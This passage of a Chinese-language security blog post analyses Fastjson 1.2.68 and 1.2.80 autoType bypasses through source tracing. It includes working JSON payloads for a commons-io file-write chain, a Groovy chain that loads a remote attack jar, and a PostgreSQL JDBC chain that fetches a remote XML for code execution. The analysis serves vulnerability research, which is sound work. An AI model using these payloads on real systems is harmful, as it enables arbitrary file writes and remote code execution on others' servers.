的地方,传入的 expectClass 要么为 null ,要么 Throwable.class ,所以需要查找 Throwable 的子类。 + +实际上 checkAutoType 还会实例化 TypeUtils.mappings 中存在的类: + +![](https://changeyourway.github.io/images/image-20250712112910-9cs6ygs.png) + +而 TypeUtils 在初始化时会向其 mappings 属性中添加一批类型: + +``` +static { + addBaseClassMappings(); +} + +private static void addBaseClassMappings() { + mappings.put("byte", byte.class); + mappings.put("short", short.class); + mappings.put("int", int.class); + mappings.put("long", long.class); + mappings.put("float", float.class); + mappings.put("double", double.class); + mappings.put("boolean", boolean.class); + mappings.put("char", char.class); + mappings.put("[byte", byte[].class); + mappings.put("[short", short[].class); + mappings.put("[int", int[].class); + mappings.put("[long", long[].class); + mappings.put("[float", float[].class); + mappings.put("[double", double[].class); + mappings.put("[boolean", boolean[].class); + mappings.put("[char", char[].class); + mappings.put("[B", byte[].class); + mappings.put("[S", short[].class); + mappings.put("[I", int[].class); + mappings.put("[J", long[].class); + mappings.put("[F", float[].class); + mappings.put("[D", double[].class); + mappings.put("[C", char[].class); + mappings.put("[Z", boolean[].class); + Class[] classes = new Class[]{ + Object.class, + java.lang.Cloneable.class, + loadClass("java.lang.AutoCloseable"), + java.lang.Exception.class, + java.lang.RuntimeException.class, + java.lang.IllegalAccessError.class, + java.lang.IllegalAccessException.class, + java.lang.IllegalArgumentException.class, + java.lang.IllegalMonitorStateException.class, + java.lang.IllegalStateException.class, + java.lang.IllegalThreadStateException.class, + java.lang.IndexOutOfBoundsException.class, + java.lang.InstantiationError.class, + java.lang.InstantiationException.class, + java.lang.InternalError.class, + java.lang.InterruptedException.class, + java.lang.LinkageError.class, + java.lang.NegativeArraySizeException.class, + java.lang.NoClassDefFoundError.class, + java.lang.NoSuchFieldError.class, + java.lang.NoSuchFieldException.class, + java.lang.NoSuchMethodError.class, + java.lang.NoSuchMethodException.class, + java.lang.NullPointerException.class, + java.lang.NumberFormatException.class, + java.lang.OutOfMemoryError.class, + java.lang.SecurityException.class, + java.lang.StackOverflowError.class, + java.lang.StringIndexOutOfBoundsException.class, + java.lang.TypeNotPresentException.class, + java.lang.VerifyError.class, + java.lang.StackTraceElement.class, + java.util.HashMap.class, + java.util.LinkedHashMap.class, + java.util.Hashtable.class, + java.util.TreeMap.class, + java.util.IdentityHashMap.class, + java.util.WeakHashMap.class, + java.util.LinkedHashMap.class, + java.util.HashSet.class, + java.util.LinkedHashSet.class, + java.util.TreeSet.class, + java.util.ArrayList.class, + java.util.concurrent.TimeUnit.class, + java.util.concurrent.ConcurrentHashMap.class, + java.util.concurrent.atomic.AtomicInteger.class, + java.util.concurrent.atomic.AtomicLong.class, + java.util.Collections.EMPTY_MAP.getClass(), + java.lang.Boolean.class, + java.lang.Character.class, + java.lang.Byte.class, + java.lang.Short.class, + java.lang.Integer.class, + java.lang.Long.class, + java.lang.Float.class, + java.lang.Double.class, + java.lang.Number.class, + java.lang.String.class, + java.math.BigDecimal.class, + java.math.BigInteger.class, + java.util.BitSet.class, + java.util.Calendar.class, + java.util.Date.class, + java.util.Locale.class, + java.util.UUID.class, + java.text.SimpleDateFormat.class, + com.alibaba.fastjson.JSONObject.class, + com.alibaba.fastjson.JSONPObject.class, + com.alibaba.fastjson.JSONArray.class, + }; +``` + +也就是说,无论 checkAutoType 传入的 expectClass 为何物,以上的类都是能够通过检查的。 + +并且由于以上类被反序列化之时,在获取的反序列化器中对当前类的下属标签进行递归式的反序列化,而在反序列化之前也通过 checkAutoType 校验一次并将当前类型作为 expectClass 传入,故而在这个过程中,以上类的子类也能通过检查并反序列化。 + +譬如,在反序列化 java.io.Closeable 之时,获取到的是 JavaBeanDeserializer ,其中对子标签做检查,传入的是当前类: + +![](https://changeyourway.github.io/images/image-20250712115229-mydwh81.png) + +如果此时 typeName 为 java.io.Closeable 的子类,那么是能通过检查的。 + +另外,ParserConfig.deserializers 也维护了一些类,如果类能在 ParserConfig.deserializers 被找到,那么也是能够通过 checkAutoType 的: + +![](https://changeyourway.github.io/images/image-20250716153441-skia909.png) + +## Fastjson 1.2.68 利用 + +诚如方才所言,TypeUtils.mappings 当中有一批可以直接被反序列化的类,其中,**AutoCloseable** 有两个比较特别的继承类:java.io.OutputStream 和 java.io.InputStream 。其实现了 Java 的基础读写功能,后续很多利用方式都是围绕这个点展开。 + +### 利用链 + +#### commons-io 写文件 + +##### poc + +依赖: + +``` + + commons-io + commons-io + 2.6 + +``` + +commons-io 2.0 - 2.6 版本: + +```json +{ + "x":{ + "@type":"com.alibaba.fastjson.JSONObject", + "input":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.ReaderInputStream", + "reader":{ + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)" + }, + "charsetName":"UTF-8", + "bufferSize":1024 + }, + "branch":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer":{ + "@type":"org.apache.commons.io.output.FileWriterWithEncoding", + "file":"/tmp/pwned", + "encoding":"UTF-8", + "append": false + }, + "charsetName":"UTF-8", + "bufferSize": 1024, + "writeImmediately": true + }, + "trigger":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger2":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger3":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + } + } +} +``` + +commons-io 2.7 - 2.8.0 版本: + +```json +{ + "x":{ + "@type":"com.alibaba.fastjson.JSONObject", + "input":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.ReaderInputStream", + "reader":{ + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", + "start":0, + "end":2147483647 + }, + "charsetName":"UTF-8", + "bufferSize":1024 + }, + "branch":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer":{ + "@type":"org.apache.commons.io.output.FileWriterWithEncoding", + "file":"/tmp/pwned", + "charsetName":"UTF-8", + "append": false + }, + "charsetName":"UTF-8", + "bufferSize": 1024, + "writeImmediately": true + }, + "trigger":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger2":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger3":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + } + } +} +``` + +##### 原理 + +来自前辈 voidfyoo 的思路。 + +###### XmlStreamReader + TeeInputStream + +**在这个阶段我们实现了将输入流的数据写入输出流,并且输入流和输出流可控。** + +org.apache.commons.io.input.XmlStreamReader 是 AutoCloseable 的子类,其构造方法: + +![](https://changeyourway.github.io/images/image-20250712122618-6kxk59j.png) + +经过一系列的调用后: + +``` +XmlStreamReader#XmlStreamReader(InputStream, String, boolean, String) +XmlStreamReader#doHttpStream(BOMInputStream, BOMInputStream, String, boolean) +BOMInputStream#getBOMCharsetName() +BOMInputStream#getBOM() +InputStream#read() +``` + +BOMInputStream#getBOM() ,这里循环调用 this.in.read() 写入数据: + +![](https://changeyourway.github.io/images/image-20250712163956-45jzeez.png) + +将 this.in 换成 BufferedInputStream ,那么接下来: + +``` +BufferedInputStream#read() +BufferedInputStream#fill() +InputStream#read(byte, int, int) +``` + +同理将这个 InputStream 换成 TeeInputStream ,调用 TeeInputStream#read 方法,把 InputStream 流里读出来的东西,再写到 OutputStream 流里: + +![](https://changeyourway.github.io/images/image-20250712170623-hq6qmgj.png) ![](https://changeyourway.github.io/images/image-20250712174004-bfgjrwb.png) + +super.read() ,也即 ProxyInputStream#read() : + +![](https://changeyourway.github.io/images/image-20250714104400-f7bfd5z.png) + +这里返回一个 int 给 this.branch 写入,所以实际上一次只写一个字节,配合前面的 BOMInputStream#getBOM() 循环调用,就可以将数据完整写入。 + +一言以蔽之:TeeInputStream#read 将 this.in(InputStream)内容写入到 this.branch(OutputStream)。 + +###### ReaderInputStream + CharSequenceReader + +**在这个阶段我们控制了输入流内容。** + +将上述 this.in 替换为 ReaderInputStream ,ReaderInputStream#read() : + +![](https://changeyourway.github.io/images/image-20250714113551-hnb7fik.png) + +其调用 this.fillBuffer() ,将数据从 this.reader 中读取出来放到 this.encoderIn ,也即一个 CharBuffer 缓冲区: + +![](https://changeyourway.github.io/images/image-20250714150518-z04rt4d.png) + +将 this.reader 换成 CharSequenceReader ,CharSequenceReader#read 将 this.charSequence 中的数据读取出来放入传入的 array 中: + +![](https://changeyourway.github.io/images/image-20250714151538-ofolprk.png) + +CharSequenceReader 的 charSequence 属性可以通过构造方法传入: + +![](https://changeyourway.github.io/images/image-20250714151857-8gd7p1k.png) + +那么在 fastjson 中,传入内容是可以控制的。 + +###### WriterOutputStream + FileWriterWithEncoding + +**在这个阶段我们控制了输出流,指定输出位置为一个文件** + +同理将 TeeInputStream 中的 this.branch 换成 WriterOutputStream ,WriterOutputStream#write 方法: + +![](https://changeyourway.github.io/images/image-20250712174136-xuo2z0y.png) + +其调用 WriterOutputStream#processInput(boolean) : + +![](https://changeyourway.github.io/images/image-20250712175506-w8b2c3f.png) + +其调用 WriterOutputStream#flushOutput() : + +![](https://changeyourway.github.io/images/image-20250714094742-wo7e0nb.png) + +调用 this.writer.write 将已经解码好的字符从 this.decoderOut 写入到 this.writer 。 + +将 this.writer 替换为 FileWriterWithEncoding ,FileWriterWithEncoding#write 将输入写出到 this.out 中: + +![](https://changeyourway.github.io/images/image-20250714095757-zz7qpmz.png) + +this.out 是一个 Writer 对象,在 FileWriterWithEncoding 构造方法中被赋值,其接受一个文件对象,并为该文件创建一个 Writer : + +![](https://changeyourway.github.io/images/image-20250714100514-xktehro.png) ![](https://changeyourway.github.io/images/image-20250714100549-40xjoxx.png) + +FileWriterWithEncoding#initWriter ,这里有一个细节需要注意:创建文件流的时候调用 `new FileOutputStream(file, append)` ,append 用来决定文件追加还是覆盖,如果传入 append 为 true 则表示追加模式,不会覆盖原有文件。不过在 fastjson 中这个值我们是能自主控制的: + +![](https://changeyourway.github.io/images/image-20250714102213-bn2btif.png) + +至此,能够将输出流导出到一个文件中。 + +###### 缓冲区写入文件 + +还有最后一个问题需要解决:当输入的数据长度不够长时,其会被缓存在内存中而不会保存文件,而输入缓冲区的长度小于写入文件所需的长度。如何解决呢? + +调试如下 poc : + +``` +{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "@type":"org.apache.commons.io.input.ReaderInputStream", + "reader":{ + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence":{"@type":"java.lang.String""aaaaaa" + }, + "charsetName":"UTF-8", + "bufferSize":1024 + }, + "branch":{ + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer": { + "@type":"org.apache.commons.io.output.FileWriterWithEncoding", + "file": "C:/Users/miaoj/Documents/Java安全代码实验/FastjsonTest/aaa.txt", + "encoding": "UTF-8", + "append": false + }, + "charsetName": "UTF-8", + "bufferSize": 1024, + "writeImmediately": true + }, + "closeBranch":true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" +} +``` + +程序进到了 FileWriterWithEncoding#write ,文件的确被创建但是内容没有被写出。 + +在 FileWriterWithEncoding#write 以后,我们一路跟进到 `StreamEncoder#implWrite` 方法: + +![](https://changeyourway.github.io/images/image-20250714213157-zhug0lq.png) + +这里判断缓冲区长度是否溢出,如果没有就存在内存里,如果溢出了就写出到文件里。 + +实际上 cr 溢出与否由一个标志位 CoderResult.type 记录,那么在 cr 生成之时就一定决定了这个标志位如何记录。 + +跟进到 encoder.encode ,即 CharsetEncoder#encode ,继续往下会跟到 `UTF_8$Encoder#encodeArrayLoop` ,它负责将数据从原缓冲区复制到目标缓冲区: + +![](https://changeyourway.github.io/images/image-20250715102833-x2884nl.png) + +如果目标缓冲区空间已满,或者已不足以放下下一个字符,则触发 overflow : + +![](https://changeyourway.github.io/images/image-20250715102940-wwasni5.png) + +触发 overflow 返回一个 CoderResult.type 为 CR\_OVERFLOW 的 CoderResult 对象: + +![](https://changeyourway.github.io/images/image-20250715103523-bxjedmk.png) ![](https://changeyourway.github.io/images/image-20250715103549-9t7iob8.png) + +那么就会在前面写出文件。 + +故而接下来的问题就是如何将目标缓冲区写满,目标缓冲区大小在初始化时已经写死了为 8192 : + +![](https://changeyourway.github.io/images/image-20250715105339-67o6lm1.png) + +原缓冲区的大小看起来没有限制,但是在最早 XmlStreamReader 的构造方法中规定输入流缓冲区大小为 4096: + +![](https://changeyourway.github.io/images/image-20250715140957-hujb76l.png) + +后续 TeeInputStream#read 将输入流写入输出流: + +![](https://changeyourway.github.io/images/image-20250715141401-k72inoz.png) + +输入流长度受限于是一次最多只能读取和写入 4096 个字节,要怎么填满目标缓冲区的 8192 个字节呢? + +没错,向同一个缓冲区多次写入。在 fastjson 中,初始化输入流输出流以后,用 $ref 重复引用,以确保我们写入的是同一个缓冲区。 + +`"$ref":"$.input"` 即表示访问根节点下 input 元素,键为 `$ref` 那么会引用已反序列化的对象。 + +‍ + +## Fastjson 1.2.80 利用 + +### 源码分析 + +下面我们给出一个测试用例: + +测试主类: + +``` +package fastjson1_2_80; + +import com.alibaba.fastjson.JSON; + +public class FastJsonExceptionDemo { + public static void main(String[] args) { + String json = "{\n" + + " \"a\":{\n" + + " \"@type\":\"java.lang.Exception\",\n" + + " \"@type\":\"pojo.MyException\",\n" + + " \"myClass\":{},\n" + + " \"stackTrace\":[]\n" + + " },\n" + + " \"b\":{\n" + + " \"@type\":\"pojo.MyClass\",\"name\":\"asd\"\n" + + " }\n" + + "}\n"; + + // 反序列化 + JSON.parse(json); + } +} +``` + +pojo.MyException 继承了 Throwable ,作为要被反序列化的测试类: + +``` +package pojo; + +public class MyException extends Throwable { + private MyClass myClass; + // private ConstructClass constructClass; + // public PublicField field; + + public void setMyClass(MyClass myClass) { + this.myClass = myClass; + } + + // public MyException(ConstructClass constructClass) { + // this.constructClass = constructClass; + // } +} +``` + +pojo.MyClass 作为 setter 方法的类型: + +``` +package pojo; + +public class MyClass { + public String name; +} +``` + +#### DefaultJSONParser#parseObject + +DefaultJSONParser#parseObject 方法使用一个无限循环 `for (;;) { ... }`,每次迭代完成一个键值对的解析,直到遇到闭合大括号 `}` 才跳出并返回。 + +在这个无限循环中,会不断的提取 key ,并且对于 @type 和 $ref 两种特殊的 key 分别有着不同的处理逻辑。 + +第一次进来我们这里拿到的 key 是 “a” ,会先判断 key 是不是 $ref : + +![](https://changeyourway.github.io/images/image-20250529120242-nc6qfks.png) + +这部分处理后续仍然调用 DefaultJSONParser#parseObject(final Map, Object) ,并传入当前 key ,目的是递归式的处理 a 键的子元素: + +![](https://changeyourway.github.io/images/image-20250529120503-0cn0bbq.png) + +等到第二次进来的时候 key 键就是 @type 了。 + +好那么直接跟进到 DefaultJSONParser#parseObject(final Map, Object) 对于`@type` 部分的处理,这里会先调用一次 checkAutoType 以验证当前类是否在黑白名单中: + +![](https://changeyourway.github.io/images/image-20250529121934-1t7z4av.png) + +查看 checkAutoType 处理逻辑,由于当前类是 java.lang.Exception ,直接在 TypeUtils.mappings 中查找到并返回: + +![](https://changeyourway.github.io/images/image-20250529140149-jdr5ydo.png) + +回到 DefaultJSONParser#parseObject(final Map, Object) ,接着往下,在这里获取到构造器 ThrowableDeserializer ,并调用其 deserialze 方法: + +![](https://changeyourway.github.io/images/image-20250528125637-45g2w7c.png) + +#### ParserConfig#getDeserializer + +我们先来看获取反序列化器 ParserConfig#getDeserializer(Type) ,内部实际调用重构方法 getDeserializer(Class, Type): + +![](https://changeyourway.github.io/images/image-20250529141137-d6gg9c6.png) + +而在 ParserConfig#getDeserializer(Class, Type) 中实际根据 java.lang.Exception 的类型获取到的反序列化器是 ThrowableDeserializer : + +![](https://changeyourway.github.io/images/image-20250529141230-djlj0fl.png) + +随后调用 ParserConfig#putDeserializer(Type, ObjectDeserializer) 将 java.lang.Exception -> ThrowableDeserializer 的映射关系缓存进 ParserConfig.deserializers 中: + +![](https://changeyourway.github.io/images/image-20250529141643-kqyjoei.png) + +这个缓存在 checkAutoType 中发挥作用,能够绕过其内部黑白名单的检查。 + +#### ThrowableDeserializer#deserialze + +接下来看 ThrowableDeserializer#deserialze(DefaultJSONParser, Type, Object) 方法,代码很长,我们只看重点。 + +##### 对 key 的处理 + +ThrowableDeserializer#deserialze 中也有一个无限 for 循环,用来处理键值对。 + +当 key 为 @type(JSON.DEFAULT\_TYPE\_KEY)时,会再次调用 checkAutoType 进行检查,并且传入 expectClass 为 Throwable.class 。此外对 message、cause、stackTrace 三种 key 做了单独处理,这三个 key 对应着 Throwable 的三个属性: + +![](https://changeyourway.github.io/images/image-20250528141126-afin242.png) + +对于其他 key 比如 myClass ,则将其添加到 otherValues 当中。这个 otherValues 是关键,后续会用到。 + +然后需要注意,最开头的 key (@type)已经在上一个方法中被取走了,我们这里会读到下一个 key ,而下一个 key @type 指向的值为 pojo.MyException : + +![](https://changeyourway.github.io/images/image-20250529143442-hnw1d15.png) ![](https://changeyourway.github.io/images/image-20250529143525-g8nffes.png) + +**这就是为什么我们的 poc 选择嵌套两个 @type ,第一个 @type 指定 java.lang.Exception ,可以通过 checkAutoType 的检查,第一个 @type 之后的 key 则会被 ThrowableDeserializer#deserialze 循环处理。** + +而如果第一个 @type 之后的 key 是 @type ,则会进入 ThrowableDeserializer#deserialze 中对于 @type 的处理。 + +所以在构造 poc 的时候我们要把真正要用到的异常类放到后一个 @type 里。 + +继续往下,就会再一次调用 checkAutoType 方法:![](https://changeyourway.github.io/images/image-20250528144940-omwh7oz.png) + +##### checkAutoType + +跟进 ParserConfig#checkAutoType(String, Class, int),这一次传入的 expectClass 是 Throwable.class ,故而会进入我们的校验: + +![](https://changeyourway.github.io/images/image-20250528145452-t347dpe.png) + +其中名单里的值依次如下: + +- `0x90a25f5baa21529eL` → **`java.io.Serializable`** +- `0x2d10a5801b9d6136L` → **`java.lang.Cloneable`** +- `0xaf586a571e302c6bL` → **`java.io.Closeable`** +- `0xed007300a7b227c6L` → **`java.lang.AutoCloseable`** +- `0x295c4605fd1eaa95L` → **`java.lang.Readable`** +- `0x47ef269aadc650b4L` → **`java.lang.Runnable`** +- `0x6439c4dff712ae8bL` → **`java.util.EventListener`** +- `0xe3dd9875a2dc5283L` → **`java.lang.Iterable`** +- `0xe2a8ddba03e69e0dL` → **`java.util.Collection`** +- `0xd734ceb4c3e9d1daL` → **`java.lang.Object`** + +如果 expectClass 匹配到了名单中的值,那么会将 **expectClassFlag** 设置为 false ,否则设置为 true 。这个控制位将在后面发挥怎样的作用呢?我们接着往下看。 + +checkAutoType 后面做了相当多的繁复的黑白名单校验,这里就略过了,只需要知道一点,只要类没有命中黑名单 ParserConfig.denyHashCodes ,就不会直接抛出异常。 + +我们自定义的类 pojo.MyException 自然是不在黑名单当中,并且由于 expectClassFlag 为 true ,来到这里进行类加载: + +![](https://changeyourway.github.io/images/image-20250529151945-hxbened.png) + +然后在这里将类添加进 TypeUtils.mappings 属性中并返回: + +![](https://changeyourway.github.io/images/image-20250529152057-0jxb9kl.png) + +这个过程可以描述成一句话:由于 expectClass 不在黑名单中,pojo.MyException 也不在黑名单中,且 pojo.MyException 是 expectClass 的子类,故通过 checkAutoType 的检查。 + +所以可以知道前面的 hash 其实是一个黑名单,一个针对于 expectClass 检查的黑名单,其中加入了我们在 1.2.68 版本利用过的 java.lang.AutoCloseable 等类。 + +##### 对 otherValues 的处理 + +回到 ThrowableDeserializer#deserialze ,随后在这里创建类实例(其内部是反射获取构造方法创建,不跟进了): + +![](https://changeyourway.github.io/images/image-20250529152748-4ppk1ua.png) + +接下来我们就可以看到针对 otherValues 的处理: + +根据 otherValues 中的 key 值(myClass)获取了 fieldDeserializer ,fieldDeserializer.fieldInfo 中存储了该字段的信息。 + +如果 key 对应的 value 不是当前字段类型,则调用 TypeUtils.cast 进行类型转换。 + +![](https://changeyourway.github.io/images/image-20250529154303-i4z366g.png) + +跟进这个 TypeUtils#cast(Object, Type, ParserConfig) ,调用重构方法: + +![](https://changeyourway.github.io/images/image-20250529155451-2r9zrlm.png) + +继续跟进 TypeUtils#cast(final Object, final Class, ParserConfig) ,其内部调用 castToJavaBean : + +![](https://changeyourway.github.io/images/image-20250529155655-lu505hb.png) + +继续跟进 TypeUtils#castToJavaBean(Map, Class, ParserConfig) ,这里调用 config.getDeserializer 为其他属性获取反序列化器,但同时我们也能够看到:**只有反序列化器为 JavaBeanDeserializer 类型时才能正常继续,否则抛出异常**: + +![](https://changeyourway.github.io/images/image-20250529155845-3ahltzm.png) + +我们之前分析过, ParserConfig#getDeserializer 在获取完构造器以后会将其添加进 ParserConfig.deserializers 内部缓存中: + +![](https://changeyourway.github.io/images/image-20250529160504-s9tk4dt.png) + +于是 pojo.MyClass -> FastjsonASMDeserializer\_1\_MyClass 的映射被添加进了缓存中。也即类的属性类型被添加进缓存中。 + +至此 a 键对应的 json 块处理完毕。 + +#### 第二次反序列化 + +随着 DefaultJSONParser#parseObject 的无限循环进入到第二阶段,b 键对应的 json 块开始被处理,同样走到 @type 对应的处理逻辑: + +![](https://changeyourway.github.io/images/image-20250529161248-jxzfoxl.png) + +直接进入到 checkAutoType ,由于传入的 expectClass 为 null ,expectClassFlag 被设置为 false ,又 autoTypeSupport 默认为 false,所以直接越过了前面的黑白名单校验,来到 ParserConfig.deserializers 中进行查找: + +![](https://changeyourway.github.io/images/image-20250529161551-cbt9vfp.png) + +先前已经将该类添加进 ParserConfig.deserializers 缓存中了,所以这里一定找得到,后续直接返回: + +![](https://changeyourway.github.io/images/image-20250529162048-pefbsvh.png) + +这里的返回意味着对 pojo.MyClass 的校验通过,后续反序列化时只会对其属性,或者说这个 @type 之后的键再做 checkAutoType 校验,毫无威胁。将 pojo.MyClass 替换成任何一个可利用的类,即可完成注入。 + +#### 调用栈总结 + +``` +DefaultJSONParser#parseObject(final Map, Object) + -> ParserConfig#checkAutoType(String, Class, int) # 使用 "@type":"java.lang.Exception" 通过校验 + -> ParserConfig#getDeserializer(Type) + ParserConfig#getDeserializer(Class, Type) + ParserConfig#putDeserializer(Type, ObjectDeserializer) # 将 Exception -> ThrowableDeserializer 加进缓存 + -> ThrowableDeserializer#deserialze(DefaultJSONParser, Type, Object) + -> ParserConfig#checkAutoType(String, Class, int) # 传入类为 Throwable 子类通过校验 + -> TypeUtils#cast(Object, Type, ParserConfig) # 处理 otherValues ,字段类型转换 + TypeUtils#cast(final Object, final Class, ParserConfig) + TypeUtils#castToJavaBean(Map, Class, ParserConfig) + ParserConfig#getDeserializer(Type) + ParserConfig#getDeserializer(Class, Type) + ParserConfig#putDeserializer(Type, ObjectDeserializer) # 将要反序列化的类的属性类型加进缓存 +``` + +‍ + +### 利用链 + +#### Groovy SPI + +##### poc + +依赖: + +``` + + org.codehaus.groovy + groovy-all + 3.0.12 + +``` + +json: + +``` +// 第一次反序列化 +{ + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{} +} + +// 第二次反序列化 +{ + "@type":"org.codehaus.groovy.control.ProcessingUnit", + "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", + "config":{ + "@type": "org.codehaus.groovy.control.CompilerConfiguration", + "classpathList":["http://127.0.0.1:8081/attack-1.jar"] + }, + "gcl":null, + "destDir": "/tmp" +} +``` + +##### 原理 + +###### groovy 的 SPI 机制 + +这条链子利用 groovy 中的 CompilationFailedException 类的 unit 属性。该属性为 ProcessingUnit 类型,利用点在 ProcessingUnit 的子类 CompilationUnit 的有参构造方法中。CompilationUnit 是 groovy 编译器的核心运行时容器。 + +CompilationUnit(final CompilerConfiguration, final CodeSource, final GroovyClassLoader, final GroovyClassLoader): + +![](https://changeyourway.github.io/images/image-20250530005706-69zrdeh.png) + +该方法用于编译前的准备工作,其中调用了 addPhaseOperations() 方法。 + +CompilationUnit#addPhaseOperations() 调用了 ASTTransformationVisitor.addPhaseOperations : + +![](https://changeyourway.github.io/images/image-20250530010258-kuzyv2k.png) + +ASTTransformationVisitor#addPhaseOperations(final CompilationUnit) 调用了 addGlobalTransforms : + +![](https://changeyourway.github.io/images/image-20250530010507-332qzf2.png) + +ASTTransformationVisitor#addGlobalTransforms(ASTTransformationsContext) 接着调用 doAddGlobalTransforms 方法: + +![](https://changeyourway.github.io/images/image-20250530010629-au87phq.png) + +ASTTransformationVisitor#doAddGlobalTransforms(ASTTransformationsContext, boolean) 这里实际是一个 SPI 机制: + +![](https://changeyourway.github.io/images/image-20250530012010-sn9zz2w.png) + +其会去请求远程地址获取 jar 并加载 `META-INF/services/org.codehaus.groovy.transform.ASTTransformation` 文件中的类。 + +请求远程地址逻辑在 globalServices.hasMoreElements() 中,其调用堆栈如下: + +![](https://changeyourway.github.io/images/image-20250530012257-3dp0h1t.png) + +###### 提问 + +原理分析完毕,不过我们还需要解答两个疑问: + +**1、我们看到第二个 json 也是连续使用了两个 @type ,并且一个是父类 ProcessingUnit ,一个是子类 JavaStubCompilationUnit 。与 Exception 的处理逻辑不同,它又是如何通过 checkAutoType 的校验的呢?** + +事实上,由于被添加进 ParserConfig.deserializers 的是父类 ProcessingUnit ,所以在这里是取不到 JavaStubCompilationUnit 的: + +![](https://changeyourway.github.io/images/image-20250603220444-3ge9ohs.png) + +这个问题可以在 JavaBeanDeserializer 的 deserialze 方法中找到答案。由于 ProcessingUnit 并不是一个 Throwable 类型,所以 fastjson 为其获取的反序列化器是 JavaBeanDeserializer 。 + +JavaBeanDeserializer 调用 checkAutoType 的逻辑与 ThrowableDeserializer 略有不同,它会将当前类的类型作为 expectClass 传入(也就是 ProcessingUnit): + +![](https://changeyourway.github.io/images/image-20250603223211-8dx3jnk.png) + +那么由我们前面的结论:expectClass 不在黑名单中,typeName 也不在黑名单中,且 typeName 是 expectClass 的子类,故通过 checkAutoType 的检查。 + +**2、fastjson 如何调用有参构造?** + +这个问题同样可以在 JavaBeanDeserializer 的 deserialze 方法中找到答案: + +![](https://changeyourway.github.io/images/image-20250603224717-6k3mfb2.png) + +想来也不必多言。 + +###### 利用链总结 + +``` +JavaStubCompilationUnit#JavaStubCompilationUnit(final CompilerConfiguration, final GroovyClassLoader, File) +CompilationUnit#CompilationUnit(final CompilerConfiguration, final CodeSource, final GroovyClassLoader) +CompilationUnit#CompilationUnit(final CompilerConfiguration, final CodeSource, final GroovyClassLoader, final GroovyClassLoader) +CompilationUnit#addPhaseOperations() +ASTTransformationVisitor#addPhaseOperations(final CompilationUnit) +ASTTransformationVisitor#addGlobalTransforms(ASTTransformationsContext) # SPI 机制加载远程 jar 包 +``` + +‍ + +#### PostgreSQL JDBC + +##### poc + +需要 jython + PostgreSQL + spring-context 依赖: + +``` + + + org.python + jython-standalone + 2.7.2 + + + + + org.postgresql + postgresql + 42.3.0 + + + + org.springframework + spring-context-support + 4.1.4.RELEASE + +``` + +json: + +``` +{ + "a":{ + "@type":"java.lang.Exception", + "@type":"org.python.antlr.ParseException", + "type":{} + }, + "b":{ + "@type":"org.python.core.PyObject", + "@type":"com.ziclix.python.sql.PyConnection", + "connection":{ + "@type":"org.postgresql.jdbc.PgConnection", + "hostSpecs":[ + { + "host":"127.0.0.1", + "port":2333 + } + ], + "user":"user", + "database":"test", + "info":{ + "socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext", + "socketFactoryArg":"http://127.0.0.1:8090/exp.xml" + }, + "url":"" + } + } +} +``` + +exp.xml : + +``` + + + + + + +``` + +##### 原理 + +###### PostgreSQL JDBC RCE + +先来复习下 PostgreSQL JDBC RCE 原理,其会实例化 url 连接串中 socketFactory 所指定的类并将 socketFactoryArg 作为构造方法参数。 + +通过设置 socketFactory 为 ClassPathXmlApplicationContext ,并将 socketFactoryArg 指定为远程 xml 文件,在 xml 文件中写入恶意的 bean 就可 RCE。(我们知道 Spring 的 ClassPathXmlApplicationContext 具有加载 